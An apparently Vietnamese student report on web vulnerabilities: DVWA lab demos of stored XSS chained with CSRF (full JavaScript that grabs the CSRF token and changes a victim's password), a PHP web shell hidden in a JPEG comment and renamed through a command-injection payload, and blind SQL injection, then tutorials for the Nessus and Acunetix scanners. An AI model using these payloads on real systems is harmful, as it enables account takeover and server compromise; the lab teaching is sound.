1. Trang chủ
  2. » Công Nghệ Thông Tin

Báo cáo công cụ scan lỗ hỏng website

35 274 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 35
Dung lượng 3,28 MB

Nội dung

HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG Cơ sở TP Hồ Chí Minh WEB VULERABILITY SCAN GVHD Ths Huỳnh Thanh Tâm An toàn ứng dụng web sở liệu A DEMO BÀI TẬP Ở LAB DVWA I CSRF+XSS STORED: GIỚI THIỆU CSRF: CSRF gì? CSRF viết tắt Cross Site Request Forgery CSRF lỗ hổng thường gặp, lỗ hổng thường tận dụng người hiểu biết Điều làm cho lỗ hổng tự động hoá hành động, hành động thực quản trị viên ứng dụng Đối với loại lỗ hổng này, nạn nhân người dùng chứng thực ứng dụng CSRF cho phép họ tự động hóa số hành động mà họ làm Ví dụ, quản trị viên, bảng điều hành, người xóa viết, cách bấm vào liên kết, password forum bạn đăng nhập bị thay đổi.(Attacker giả mạo hành động bạn để thay đổi password bạn lúc bạn lướt website đó.) GIỚI THIỆU XSS STORED: XSS gì? XSS viết tắt Cross Site Scripting XSS lỗ hổng phổ biến Lỗ hổng ảnh hưởng phía client(người dùng), xác An toàn ứng dụng web sở liệu người dùng ứng dụng web bị lỗi Nó khơng q nguy hiểm ứng dụng web dẫn đến nhiều vấn đề Ví dụ sử dụng để lừa đảo, đánh cắp thông tin đăng nhập victim(nạn nhân) sau dùng thơng tin đăng nhập cách bất hợp pháp XSS làm thay đổi giao diện ứng dụng web cách bất hợp pháp,… XSS chia làm loại: + XSS Reflected + XSS Stored + XSS DOM Vậy XSS Stored gì? Khác với XSS Reflected, XSS Stored hướng đến người người dùng Lỗi xảy ứng dụng web không kiểm tra kĩ liệu đầu vào trước lưu vào sở liệu Thay nhập vào liệu thơng thường, attacker nhập vào đoạn code nguy hiểm (ví dụ php, javascript, …) Hướng khai thác: + Bước 1: Attacker phải thực chèn đoạn mã nguy hiểm vào template đầu vào khơng kiểm tra chặt chẻ (ví dụ: thẻ input tiêu đề viết diễn đàn, form, input, textarea,… trước lưu vào sở liệu) + Bước 2: Những người dùng khác ứng dụng web tương tác với liệu lưu trữ attacker (ví dụ: người dùng khác click vào tiêu đề viết attacker forum) đoạn mã thực dẫn đến mục đích attacker thành công DEMO LAB DVWA: Ứng dụng XSS Stored để thực CSRF DVWA mức high *Thu thập thơng tin site CSRF: - Frond-end gồm có: + template input dùng để nhập password_new password_conf + button - Check html: + Có thẻ input bị hidden có name user_token Mục đích user_token kiểm tra xem hành động có phải client (người dùng dùng site khơng) User_token gồm có phần giống nhau, phần lưu thẻ bị hidden trình duyệt phần lưu server để check hành động tiếp An toàn ứng dụng web sở liệu - theo có phải người dùng trực tiếp site dùng hay khơng, lần load lại trang user_token thay đổi theo ngẫu nhiên, gồm có 32 kí tự sinh ngẫu nhiên, dẫn đến hành động request check lần Dùng add-on Live HTTP header ứng dụng Mozilla Firefox để bắt gói request hành động thay đổi password để kiểm tra trình duyệt request lên server gì: + Sau nhấn vào button Change browser request lên server param theo phương thức GET, password_new, password_conf, Change, user_token *Hướng công CSRF: - Viết đoạn code, thực load site CSRF: /DVWA/vulnerabilities/csrf/index.php sau lấy value thẻ input hidden user_token lưu vào biến - Sau có user_token Request lên server theo phương thức GET param password_new, password_conf, Change, user_token - Thực XSS Stored để lưu trữ hình ảnh đường link để người dùng click vào đoạn code thực *Thực hiện: - Code: An toàn ứng dụng web sở liệu function myfunc(){ function mainfunc() { var xmlhttp; var content; var key; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState==4 && xmlhttp.status ==200) { content = xmlhttp.responseText; //alert(content); regex = /value=\'([a-z0-9]{32})\'/i; group = content.match(regex); key = group[1] } } xmlhttp.open("GET","http://34.215.48.0/DVWA/vulnerabilities/csrf/",false); xmlhttp.send(); //alert(key); return key; } function changepwd(key,password) { var xmlhttp; var content; if (window.XMLHttpRequest) xmlhttp = new XMLHttpRequest(); else xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState==4&& xmlhttp.status==200) { content= xmlhttp.responseText; //alert(content); } } xmlhttp.open("GET","http://34.215.48.0/DVWA/vulnerabilities/csrf/? user_token="+key+"&password_new="+password+"&password_conf="+password+"&Change=Change",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencode"); xmlhttp.send(); return key; } var key = mainfunc(); changepwd(key,'letrongmanh'); } - Ứng dụng XSS Stored mức low để lưu vào đường link dẫn đến đoạn code script, có người dùng khác click vào link password người bị thay đổi + Tiêu đề DANH SACH TANG LUONG + Message: - Sau đợi victim click vào link lưu Password victim bị thay đổi thành password An toàn ứng dụng web sở liệu II - - - - DEMO FILE UPLOAD + COMMAND INJECTION GIỚI THIỆU FILE UPLOAD VULNERABILITY: Các tệp tải lên biểu thị nguy đáng kể cho ứng dụng Bước nhiều công chèn số mã độc vào hệ thống để cơng Sau đó, cơng cần tìm cách để có mã thực Sử dụng tệp tải lên (file upload) giúp kẻ cơng hồn thành bước Hậu việc tải lên tệp khơng hạn chế (khơng kiểm tra) khác nhau, bao gồm việc chiếm toàn hệ thống, hệ thống tệp tin sở liệu bị tải, công chuyển tiếp tới phá hoại hệ thông, cơng từ phía khách hàng lừa đảo đơn giản Nó phụ thuộc vào ứng dụng làm với tập tin tải lên đặc biệt nơi lưu trữ Ví dụ: Sử dụng hình ảnh để làm hình ảnh đại diện Việc ứng dụng khơng kiểm tra file ảnh, khơng hạn chế hay kiểm tra lỏng lẽo người cơng(attacker) tải lên file chứa mã độc php, sau khai thác server, leo thang đặc quyền, phá hoại hệ thống,… COMMAND INJECTION: Command injection cơng mà mục tiêu thực lệnh tùy ý hệ điều hành máy chủ (server) thông qua ứng dụng dễ bị tổn thương Các cơng command injection xảy ứng dụng chuyển liệu khơng an tồn người dùng cung cấp (biểu mẫu, cookie, tiêu đề HTTP vv) sang system shell Trong công này, lệnh hệ điều hành cung cấp kẻ công thường thực với đặc quyền ứng dụng dễ bị tổn thương Các cơng command injection việc kiểm tra đầu vào không đầy đủ DEMO TRÊN LAB DVWA MỨC HIGH: - Thông thập thông tin, phân tích lab: File upload: Chức cho phép upload tệp lên Chúng ta phải thử upload lên số file để xem loại file cho phép Trước tiên, thử file txt An toàn ứng dụng web sở liệu Kết nhận upload file ảnh, Sau upload thử file php.jpeg, mine file không chấp nhận từ phía server Upload file jpeg bình thường Kết chấp nhận và, file lưu thư mục / /hackable/uploads/ với tên với tên file ảnh upload lên Phân tích source code: $target_path = DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/"; $target_path = basename( $_FILES[ 'uploaded' ][ 'name' ] );  Nơi lưu trữ file $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)  Cắt chuỗi tên file lấy phần extension An toàn ứng dụng web sở liệu if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $up loaded_ext ) == "png" )&&( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) )  Kiểm tra liệu nhập vào Chỉ cho phép file có phần jpg jpeg png Kích thước nhỏ 100000 byte Xác định kích thước tập tin hình ảnh hỗ trợ(getimagesize) *Hướng cơng: - Dùng tool jhead để thay chèn code php vào phần comment ảnh jpeg Server không kiểm tra phần comment ảnh có code php hay không - Dùng Command Injection đến thư mục chứa file upload để đổi tên file thành php *Thực công: - Dùng jhead -ce image.JPG để chèn code php vào file image Tham khảo thêm: https://phocean.net/2013/09/29/file-upload-vulnerabilitiesappending-php-code-to-an-image.html Code php: Upload file ảnh vừa chèn lên server - Dùng Command Injection thay đổi tên file vừa upload *Phân tích source code Command Injection mức high: An toàn ứng dụng web sở liệu Ở đây, kí tự để nối câu lệnh linux bị lọc Ví dụ &&, ‘;’,… để ý thật kĩ thấy '| ' bị lọc Đằng sau | có khoảng trắng nên t inject | khơng có khoảng trắng Thực hiên đổi tên: 8.8.8.8|mv / /hackable/uploads/images.jpg / /hackable/uploads/images.php - Truy cập đến /DVWA/hackable/uploads/images.php?cmd=ls: Chúng ta upload shell thành cơng Chúng ta thực cậu lệnh linux thông qua file vừa upload lên III DEMO SQLI BLIND: An toàn ứng dụng web sở liệu GIỚI THIỆU SQLI BLIND: SQLi Blind phương thức công SQL injection đốn kí tự liệu attacker cần cách truy vấn câu truy vấn sai Đúng trả kết quả, sai trả sai Tham khảo thêm: http://securityidiots.com/Web-Pentest/SQL-Injection/Blind1 SQL-Injection.html DEMO SQLI BLIND MỨC HIGH LAB DVWA: *Thu thập thông tin: - Khi access site ta nhận link liên kết: - Ở đây, site có chức năng, nên ta thực test chức Đối với lab SQLi Blind này, ta nên dùng tools để bắt gói request lên server - Submit với id=1, thấy site báo User ID exists in the database, cookie gói request có thêm giá trị id=1 Test với điều kiện kiểm tra có dính lỗi SQLi hay khơng ta nhận được: 10 An toàn ứng dụng web sở liệu sau download hoàn tất ta thực install Nessus Có level lỗ hổng o Info o Low o Medium o High o Critical 21 An toàn ứng dụng web sở liệu CÀI ĐẶT NESSUS TRÊN WINDOWS link download: operating-system https://www.tenable.com/products/nessus/select-your- Sau tải hoàn tất, chạy file Nessus-6.11.1-Win32.msi Installing Nessus Nessus cần có Framwork WinPCAP yêu cầu cài đặt máy tính chưa sẵn có Những bước tương tự đặt Ubuntu Sau cài đặt xong, đăng nhập bắt đầu scan web với Nessus 22 An toàn ứng dụng web sở liệu Tại mục setting ta điền vào mục Name chọn Folder điền Target trang web muốn scan, VD hình ta scan website “lanashop.vn” Tại mục Credentials, Scan Web Application, chọn cách thức chứng thực cho giao thức HTTP Chúng ta chọn chứng thực nhiều phương thức: o o o o HTTP login form Automatic authentication Basic/Digest authentication HTTP cookies import 23 An toàn ứng dụng web sở liệu trước đăng kí đăng nhập vào web “lanashop.vn” lấy file cookies.txt ***Cách lấy file “cookies.txt”: add tiện ích cookies.txt Chrome Mỗi đăng nhập đăng kí trang web nào, có file cookies trang web đó, nhấp vào icon cookies phía bên phải trình duyệt Add file “cookies.txt” vào Cookies file (nếu chọn HTTP cookies import) chọn Save 24 An toàn ứng dụng web sở liệu Nessus scan nhiều network (Scanner -> Basic Network Scan) 25 An toàn ứng dụng web sở liệu First Demo ta scan máy ảo Win có địa ip 192.168.40.52 Chúng ta đặt lịch scan định kì 26 An tồn ứng dụng web sở liệu Cấu hình Ping method Tùy chọn “Scan type” 27 An toàn ứng dụng web sở liệu Bên mục Credentials Ta chọn thêm nhiều option xác thực để Scan cụ thể Xác thực database Xác thực host (qua SSH Windows) 28 An toàn ứng dụng web sở liệu Xác thực giao thức (port) Nhấp vào iểu tượng launch để bắt đầu scan 29 An toàn ứng dụng web sở liệu Sau scan xong, Nessus hiển thị lỗ hỗng với mức độ tương ứng Nessus hỗ trợ xuất Report với định dạng : html, Nessus, CSV, NessusDB Scanning 30 An toàn ứng dụng web sở liệu Result 31 An toàn ứng dụng web sở liệu II ACUNETIX WEB VULNERABILITY SCAN Tổng quan Acunetix Hiện công mạng chủ yếu thực thông qua ứng dụng web website, cách để chống lại công phát triển cơng cụ tự động qt lỗ hổng website, web application từ xác định giải lỗ hổng bị hacker khai thác Năm 2005, Acunetix Web Vulnerability Scanner đời, công cụ thiết kế dựa việc tái tạo lại phương pháp cơng hacker để tìm lỗ hổng nguy hiểm SQL injection, cross site scripting hàng ngàn lỗ hổng khác Một thập kỷ sau Acunetix Vulnerability Scanner trở thành lựa chọn hàng đầu cho nhiều khách hàng lĩnh vực phủ, qn sự, giáo dục, viễn thơng, ngân hàng, tài thương mại điện tử … Acunetix Vulnerability Scanner phát báo cáo loạt lỗ hổng ứng dụng xây dựng kiến trúc WordPress, PHP, ASP.NET, … Acunetix cho phép bạn quét website liệt kê list lỗ hổngwebsite bị khai thác, giúp chuyên gia an ninh dễ dàng đánh giá lỗ hổng, sửa chữa phát mối đe dọa việc bị cơng 32 An tồn ứng dụng web sở liệu - Sử dụng Acunetix Giao diện Acunetix - Để quét lỗ hổng website chọn New Scan đánh địa trang web muốn quét vào trường Website URL => Next 33 An toàn ứng dụng web sở liệu - Tại trường Scanning profile lỗ hổng mắc phải, muốn tập trung quét loại lỗ hổng chọn, muốn qt hết tổng thể website xem mắc lỗ hổng chọn default => Next Kết sau scan, Acunetix trả list lỗ hổng bị khai thác trường Web alerts, click chuột vào lỗ hổng ta nhận phần mô tả lỗ hổng nơi lỗ hổng tồn phân vùng bên phải, 34 An toàn ứng dụng web sở liệu Như ví dụ ta scan website www.nhuaphucthinh.com Tại mục Web Alert ta thấy danh sách lỗ hổng vị trí chúng liệt kê, cụ thể Blind SQL Injection có vị trí, Cross Site Scripting(XSS) có vị trí, SQL Injection có vị trí Acunetix cung cấp xác vị trí lỗ hổng loại lỗ hổng giúp người lập trình dễ dàng kiểm tra sửa lỗi lập trình để tối ưu hóa website mình, tránh chủ đích cơng người khác 35 ... web sở liệu Nessus scan nhiều network (Scanner -> Basic Network Scan) 25 An toàn ứng dụng web sở liệu First Demo ta scan máy ảo Win có địa ip 192.168.40.52 Chúng ta đặt lịch scan định kì 26 An... 14 An toàn ứng dụng web sở liệu 15 An toàn ứng dụng web sở liệu B CÁC CÔNG CỤ KHAI THÁC LỖ HỔNG NEUSSUS WEB VULNERABILITY SCAN I CÀI ĐẶT NESSUS TRÊN UBUNTU - - Link cài đặt : https://www.tenable.com/products/nessus/select-youroperating-system#tos... xong, đăng nhập bắt đầu scan web với Nessus 22 An toàn ứng dụng web sở liệu Tại mục setting ta điền vào mục Name chọn Folder điền Target trang web muốn scan, VD hình ta scan website “lanashop.vn”

Ngày đăng: 14/12/2017, 09:37

TỪ KHÓA LIÊN QUAN

w